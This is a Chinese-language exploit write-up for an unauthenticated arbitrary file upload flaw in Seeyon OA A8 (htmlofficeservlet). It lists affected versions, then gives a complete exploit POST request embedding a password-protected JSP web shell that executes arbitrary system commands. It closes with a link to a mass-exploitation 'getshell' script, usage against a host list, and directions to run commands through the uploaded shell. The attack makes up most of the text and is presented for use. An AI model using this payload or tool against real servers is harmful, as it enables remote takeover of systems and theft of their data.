致远OA A8 htmlofficeservlet 任意文件上传漏洞

致远OA A8 htmlofficeservlet 任意文件上传漏洞

漏洞描述

远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件，写入成功后可执行任意系统命令进而控制目标服务器。

影响版本

致远A8-V5协同管理软件V6.1sp1
致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远A8+协同管理软件V7.1

漏洞验证

访问/seeyon/htmlofficeservlet出现下图响应，则可能含有漏洞

漏洞利用

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1120

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language=”java” import=”java.util.,java.io.“ pageEncoding=”UTF-8”%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+”\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if(“calsee”.equals(request.getParameter(“pwd”))&&!””.equals(request.getParameter(“cmd”))){out.println(“

<pre>“+excuteCmd(request.getParameter(“cmd”)) + “</pre>“);}else{out.println(“:-)”);}%>>a6e4f045d4b8506bf492ada7e3390d7ce

项目地址

https://github.com/FeiNiao/seeyou-A8-HTMLOFFICESERVLET-fileload-getshell-exp

工具使用

python .\seeyou-A8-HTMLOFFICESERVLET-fileload-getshell.py -f .\host.txt

访问上传的webshell，进行命令执行